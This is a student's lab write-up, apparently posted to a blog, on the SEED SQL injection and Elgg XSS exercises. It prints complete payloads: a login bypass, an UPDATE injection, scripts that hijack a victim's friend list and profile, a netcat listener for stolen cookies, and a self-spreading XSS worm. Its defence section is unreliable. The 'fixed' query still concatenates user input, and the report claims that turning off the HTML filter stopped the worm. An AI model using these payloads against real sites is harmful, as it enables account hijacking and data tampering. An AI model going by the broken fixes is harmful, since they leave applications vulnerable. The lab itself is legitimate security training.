20251909 2025-2026-2 《网络攻防实践》实践十

1、实践内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句:
我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:
上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:
在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。

2.基础知识

2.1.SQL(结构化查询语言)

  • 定位:操作关系型数据库的标准语言,几乎所有Web应用的后端都依赖它存取数据。
  • 核心操作
    • 查:SELECT ... FROM ... WHERE ...
    • 增:INSERT INTO ... VALUES ...
    • 改:UPDATE ... SET ... WHERE ...
    • 删:DELETE FROM ... WHERE ...
  • 典型场景:用户登录 → 后端拼接SQL查询用户名密码;搜索商品 → 拼接SQL带LIKE条件。
  • 关键认知:SQL本质是指令,不是纯数据。如果用户输入被当作指令执行,就有风险。

2.2. SQL注入

  • 定义:攻击者通过输入字段(表单、URL参数、Cookie等)提交精心构造的SQL片段,使原SQL语句逻辑被篡改,从而执行攻击者想要的数据库操作。
  • 根本原因:将不可信的用户输入直接拼接到SQL字符串中,未做过滤/转义,也未使用参数化查询。
  • 典型例子(登录绕过):
    • 原SQL:SELECT * FROM users WHERE name='[输入]' AND pwd='[输入]'
    • 攻击者输入 nameadmin' -- ,SQL变成:
      SELECT * FROM users WHERE name='admin' -- ' AND pwd='任意'
      -- 注释掉了后面的密码检查,无需密码即可登录。
  • 主要危害:绕过认证、拖库(窃取全部用户数据)、删表、提权、甚至写文件或执行系统命令。
  • 防御核心
    • 使用参数化查询(预编译语句),将SQL结构与数据分离(最重要)。
    • 对输入做严格校验(白名单、类型转换)。
    • 最小化数据库权限,避免使用高权限账户连接。

2.3. XSS(跨站脚本攻击,Cross-Site Scripting)

  • 定义:攻击者将恶意脚本(通常是JavaScript)注入到看似可信的网站中,当其他用户浏览该页面时,脚本在受害者浏览器中执行。
  • 与SQL注入的区别:SQL注入攻击数据库;XSS攻击浏览器/用户
  • 三种主要类型
    1. 反射型XSS:恶意脚本通过URL参数传递,后端未经处理直接回显到页面。需要诱导用户点击恶意链接。
    2. 存储型XSS:恶意脚本被保存到服务器(如评论区、个人资料),任何访问该页面的用户都会中招。危害最大。
    3. DOM型XSS:前端JavaScript直接操作DOM时,将恶意内容写入页面,不经过后端。
  • 典型危害:窃取Cookie(实现无密码登录)、劫持会话、键盘记录、篡改页面内容、钓鱼。
  • 防御核心
    • 输出编码:根据上下文(HTML、属性、JS、CSS、URL)对用户输入进行转义。
    • 使用内容安全策略(CSP) 限制可执行的脚本来源。
    • 对于富文本输入,使用安全的过滤库(如DOMPurify)而非自己写正则。
    • 设置Cookie的HttpOnly属性,防止JavaScript读取敏感Cookie。

2.4蠕虫病毒

蠕虫是一种独立运行的恶意程序,它不需要依附于其他文件,也无需用户任何操作就能主动通过网络自我复制和传播。它与普通计算机病毒最大的区别在于:病毒需要宿主文件(如感染一个.exe)并依赖用户运行才能扩散,而蠕虫可独立存在,利用系统或软件的安全漏洞自动从一台计算机“跳”到另一台。

蠕虫的典型工作方式是不断扫描网络上的其他设备,发现漏洞后立即利用它完成感染,然后在新设备上重复这个过程。这种指数级扩散速度极快,短时间内就能耗尽网络带宽、拖慢系统运行,甚至导致大规模网络瘫痪。著名的“莫里斯蠕虫”“冲击波蠕虫”都是典型例子。

3.实验过程

环境配置:下载虚拟机实验环境,选取压缩包里第一个vmdk磁盘文件打开即可
image

修改主机名

输入hostname swl后回车
如下图seed@后的主机名已设置为本人姓名首字母。

3.1 熟悉SQL语句

1.再使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。
image

2.利用指令 show databases;查看mysql中已有的数据库。

image
3.利用指令 use Users; 和 show tables;(注意“;”)进行切换数据库,并在查看Users数据库中的所有表。
image
4.利用sql语句 select * from credential; 查看credential中所有记录。
image
5.使用sql语句 select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。
image

3.2 sql相关攻击实践

3.2.1 对SELECT语句的SQL注入攻击

1、首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。如下图:
image
2、右键查看网页源码,选择view page source
发现登陆的表单中使用 get 方法访问 unsafe_home.php,
image
3、相关的文件可以利用文件夹进行查看,其地址为:/var/www/SQLInjection/unsafe_home.php。
image
image
我们分析上面两幅图里的原代码,发现该程序针对admin和普通用户具有不同的处理方法。

4.我们可以构造 Admin'#,并让 $input_uname 等于该值,这样会使得#后的Password判断不会执行(在sql语句中,#表示注释)。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录,如下图,密码随机输入:
image
5.成功登录。
image

3.2.2 对 UPDATE语句的SQL注入攻击

1、首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面,然后右键查看源代码
image
2.用文件夹查看 unsafe_edit_backend.php 页面,其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。我们可以看到UPDATE更新语句处,
image
3.通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于
', Salary='251909' where name='Admin'; #,
也就是把Admin的Salary改为251909。
image
4、在NickName处输入 :
', Salary='251909‘ where name='Admin'; #
image
可以看到Admin的Salary已经改为251909!!

3.2.3 sql漏洞修复

从unsafe_home.php 文件的源代码中可以发现, SQL 语句的参数和需要执行的动作或条件混在一起没有分开,导致数据库无法分清楚,产生 SQL 注入风险。御SQL注入的最佳方式,就是使用预编译语句,首先在 unsafe_home.php 页面中,对SELECT语句进行预处理.防
进入www目录下,使用chomd命令修改该文件权限为可修改,修改后端文件unsafehome.php
image

image

把sql语句替换成下文:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
      if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
      }

image

再次使用上面绕过语句:Admin'#尝试进行登录:
image
发现此时已无法登录
image
select语句漏洞修复完成。

3.3 SEED XSS跨站脚本攻击实验

3.3.1 原始xss

1、首先在浏览器中访问 http://www.xsslabelgg.com
image
2、使用账号:Alice,密码:seedalice 进行登录。
image
3、点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码 。
<script>alert('xss');</script>
这段代码执行xss跨站脚本攻击其中alert函数可以在前端打印信息,这里我们选择打印字符串“xss”。
image
image
4.如上图弹窗成功

3.3.2 弹窗显示cookie信息:将cookie信息显示

1、在 Edit profile 里面的 Brief description 中输入xss攻击代码
<script>alert(document.cookie);</script>
目的是打印网站的cookie值。
image
2.点击保存后,会显示出如下cookie的信息。这仅是xss的一个基本用途。
image

3.3.3 窃取受害者的cookies:将cookie发送给攻击者

1、因为需要把cookie发送给攻击者,因此首先查看seed虚拟机的IP地址,从下图可以看出,IP地址为:192.168.200.15。
image
2、根据seed的IP地址构造xss攻击代码(端口号选择我的学号后四位),在 Edit profile 里面的 Brief description 中输入xss攻击代码 并保存。
image
3、切换账号,使用boby的账号进行登录。账号:Boby,密码:seedboby。再终端里使用指令 nc -l 1909 -v 监听1909端口。
image
4、boby账号访问Alice,成功得到Boby的cookie。

image

3.3.4 成为受害者的朋友

1、先 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和Charlie成为好友,这时我们可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。
image
从下图我们可以看到一共申请参数一共有三个,分别是:friend, 2.__elgg_ts, __elgg_token,别分代表着好友的id、时间戳以及token。
image
image
3.根据以上信息我们可以构造xss攻击代码。

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=46" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

4.将该段代码放到Alice的 About me 下并选择 Edit HTML 模式,点击保存
image

5.将alice先踢出好友列表,以便于验证代码功能。
image

6.boby访问alice主页,进入其主页后发现自动添加Alice为好友
image

3.3.5 篡改受害者的信息

1)构造修改信息xss攻击代码,并输入Alice中about me中edit HTML模式:

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p> 20251909swlyyy, I changed this content.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>



(2)同样登入Boby账号,访问Alice主页,发现访问后Boby主页about me部分被强制修改信息;

3.3.6 编写xss蠕虫病毒

1、我们根据前面的xss攻击代码构造一个具有传染性的xss蠕虫,代码如下:

<script type="text/javascript">
window.onload = function(){
    // 核心:蠕虫代码本体(自包含,用于传播)
    var wormCode = `<script type="text/javascript">
window.onload = function(){
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    
    // 关键:把蠕虫代码写入 description,实现传播
    var wormPayload = encodeURIComponent("<script type='text/javascript'>"+window.onload.toString()+"</script>");
    var content= token + ts + 
        "name=" + userName + 
        "&description=<p>I am 20251909swl yyy, I changed this content.</p>" + wormPayload + 
        "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var samyGuid=44;
    
    if(elgg.session.user.guid!=samyGuid){
        var Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>`;

    // 原逻辑获取参数
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    // 构造提交内容:个人简介 + 蠕虫代码(核心传染点)
    var content= token + ts + 
        "name=" + userName + 
        "&description=<p>I am 20251909swl yyy, I changed this content.</p>" + encodeURIComponent(wormCode) + 
        "&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var samyGuid=44;

    // 非蠕虫所有者,执行传播
    if(elgg.session.user.guid!=samyGuid)
    {
        var Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>


2.同理将这段xss蠕虫代码放入Alice的About me中,并点击保存。
3.boby访问alice主页
image

4.接下来我们登录Samy账号,访问已被感染的Boby账号,发现Samy主页的信息也被修改,因此Samy已被Boby传染;
image

这是蠕虫病毒的传播特性!!

3.3.7 抵抗xss蠕虫

1、首先登录Admin的账号(账号:Admin 密码:seedelgg)。找到Account->Administration->plugins。
image
2.找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态,该插件主要是用来校验用户的输入输出,并且可以自动删除特定的标签。
image
3.回到alice主页 发现蠕虫病毒已经失效实验成功!
image

该功能是一个专门的安全过滤器,会对用户提交的所有 HTML 内容进行

移除危险标签:比如 <script>、<iframe>、<embed> 这类能执行恶意脚本的标签;
移除危险属性:比如 onload、onclick、onerror 这类能触发 JavaScript 的事件属性;
只允许白名单内的安全标签(如 <p>、<b>、<i>)和属性,确保用户提交的内容不会成为 XSS 攻击载体。

4、学习中遇到的问题及解决

问题一:编写的代码段无法复制到虚拟机里,下载VMware tools后完成。

image

5.总结学习感想

通过本次网络攻防实践课对SQL注入与XSS攻击的学习与动手实验,,此次实验中,成功绕过登录验证或篡改数据库信息,再或者编写蠕虫病毒实现大面积传染可能性。趣味性还是非常强的,不过sql注入技巧还是有点生疏,sqlmap等工具或许有帮助 不过了解构造方式更为重要

参考资料

https://seedsecuritylabs.org/lab_env.html
https://blog.csdn.net/davidhzq/article/details/101621482 vmtool配置

posted @ 2026-05-18 15:21  施为乐  阅读(33)  评论(0)    收藏  举报